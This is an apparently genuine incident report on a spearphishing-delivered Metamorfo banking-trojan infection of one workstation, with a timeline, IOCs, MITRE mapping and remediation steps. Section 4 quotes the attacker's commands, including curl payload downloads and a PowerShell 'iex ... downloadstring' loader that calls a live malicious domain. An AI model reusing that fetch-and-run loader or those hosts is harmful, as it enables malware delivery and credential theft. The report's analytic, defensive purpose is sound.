Post-Compromise Incident Report

Date: Dec 15th, 2024
Time: 02:19:32 (UTC-3)
Prepared by: Giovanni Alves
Host Affected: workstation1
User: XYZ\User1
Incident Type: Drive-by Compromise + Spearphishing Attachment + Scripted Execution Chain

---

1. Executive Summary

On December 15th, 2024, a workstation associated with user **XYZ\User1** executed a malicious ZIP archive received through a **targeted spearphishing email**. The payload triggered an automated chain of **HTA, batch, curl, and PowerShell scripts**, culminating in the retrieval and execution of obfuscated remote code.

The activity and infrastructure indicators strongly match the behavior of **Metamorfo**, a well-known financial malware family focused on credential harvesting for banking services.

The host was isolated, but due to the nature of financial malware, full reimage and credential resets are mandatory.

---

2. Timeline of Events

Timestamp	Event
02:19:06	Outlook spawns Edge via malicious link
02:19:15	Edge downloads ZIP file `copia111224mp.zip`

02:19:32 User extracts and executes malicious content

02:19:32 HTA script executed via mshta

02:19:32 curl retrieves secondary payload

02:19:33 Batch and PowerShell scripts executed

02:19:33 Remote script pulled from external servers

02:19:33 C2 infrastructure identified (159.100.18[.]13)

02:35:28 Host isolated

---

3. Incident Description

The user interacted with a malicious ZIP archive delivered via spearphishing. The Outlook parent process confirms direct user interaction.

Parent Process

```
C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
/restore
```

Browser Trigger

Executed by Outlook:

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

--single-argument microsoft-edge:///?url=...
```

This browser instance downloaded:

Path:
`C:\Users\User1\Downloads\copia111224mp.zip`
Timestamp: Dec 15th 2024 02:19:15

Upon extraction and execution, the ZIP contents initiated a multi-stage attack chain typical of financial malware.

---

4. Execution Chain (Observed Commands)

Stage 1 — HTA Execution

```
"C:\Windows\SysWOW64\mshta.exe"
```

```
"C:\Users\User1\AppData\Local\Temp\...\copia111224mp.hta"{GUID}{GUID}
```

Stage 2 — Remote Script Download (curl)

```
C:\Windows\System32\curl.exe
```

```
-o "C:\Wins32Update_\up.cmd"
```

```
"https[:]//firebasestorage[.]googleapis[.]com/.../bt?token=..."
```

This file is flagged as malware in VirusTotal.

Stage 3 — PowerShell Execution

```
powershell.exe -nop -win 1
```

Used to run the downloaded batch and retrieve additional payloads.

Stage 4 — Second curl Retrieval

```
"C:\Windows\System32\curl.exe"

-o "C:\Wins32Update_\up.cmd"

"https[:]//firebasestorage[.]googleapis[.]com/.../bt?token=...
"
```

Stage 5 — Final Payload Loader

```
cmd.exe /S /D /c

"echo iex (new-object
net.webclient).downloadstring('https://contablebar.shop/ll2310
/at3')"
```

The retrieved script was **heavily obfuscated** and contains references to command-and-control infrastructure:

C2 Identified:
`159.100.18[.]13/ldht/index26.php`

This set of indicators aligns with **Metamorfo**, a banking trojan using living-off-the-land tactics (mshta, curl, PowerShell) for multi-stage execution.

---

5. Root Cause Analysis

User Behavior

- User opened spearphishing email.
- User downloaded ZIP archive.
- User extracted and executed malicious HTA file.

Technical Cause

The attack leveraged:

- Outlook as initial vector
- Edge for file retrieval
- Script chaining via mshta, curl, cmd, and PowerShell
- External remote script execution
- Financial malware communication with C2 infrastructure

All behaviors align with Metamorfo's known infection patterns.

---

6. Impact Assessment

Confirmed Impact

- Execution of HTA and batch scripts
- Multiple remote payload downloads
- Obfuscated malicious PowerShell execution
- Communication with external C2 infrastructure
- High probability of credential theft (financial focus)

Prevented / Limited

- No lateral movement observed
- No persistence confirmed in this stage (but likely attempted)
- Host isolated before additional payload staging

Overall Risk Level: HIGH

This is a credential-stealing malware family.
All trust in the workstation is considered compromised.

---

7. Indicators of Compromise (IOCs)

Downloaded File

- `copia111224mp.zip` (ZIP archive)

Processes

- `mshta.exe`
- `powershell.exe` (–nop, –win 1)
- `curl.exe`
- `cmd.exe /c echo iex ...downloadstring`

URLs / C2

- `https[:]//firebasestorage[.]googleapis[.]com/...`
- `https[:]//contablebar.shop/ll2310/at3`
- `159.100.18[.]13/ldht/index26.php`

Technique Mapping (MITRE ATT&CK)

- Initial Access: **T1566.001** (Spearphishing Attachment)
- Execution: **T1218.005** (mshta), **T1059** (scripts)
- Defense Evasion: **T1027** (obfuscation)
- Command and Control: **T1105** (remote file transfer)

---

8. Required Remediation

Mandatory

- **Format (reimage) the workstation**
- **Reset all user passwords** (corporate, banking, VPN, email)
- **Clean the user's mailbox** (malicious email + thread)
- **Remove sender from allowed lists and block domain**

Recommended

- Apply advanced phishing protections
- Review URL rewriting and attachment sandboxing policies
- Run environment-wide hunting for related IOCs

---

9. Conclusion

This event reflects a **successful execution of a financial malware infection chain**, consistent with Metamorfo. The malware retrieved multiple remote payloads, executed commands, and communicated with a malicious C2 server. Due to the nature of the malware family and the execution artifacts, **credential compromise is highly likely**.

Reimage and credential resets are essential.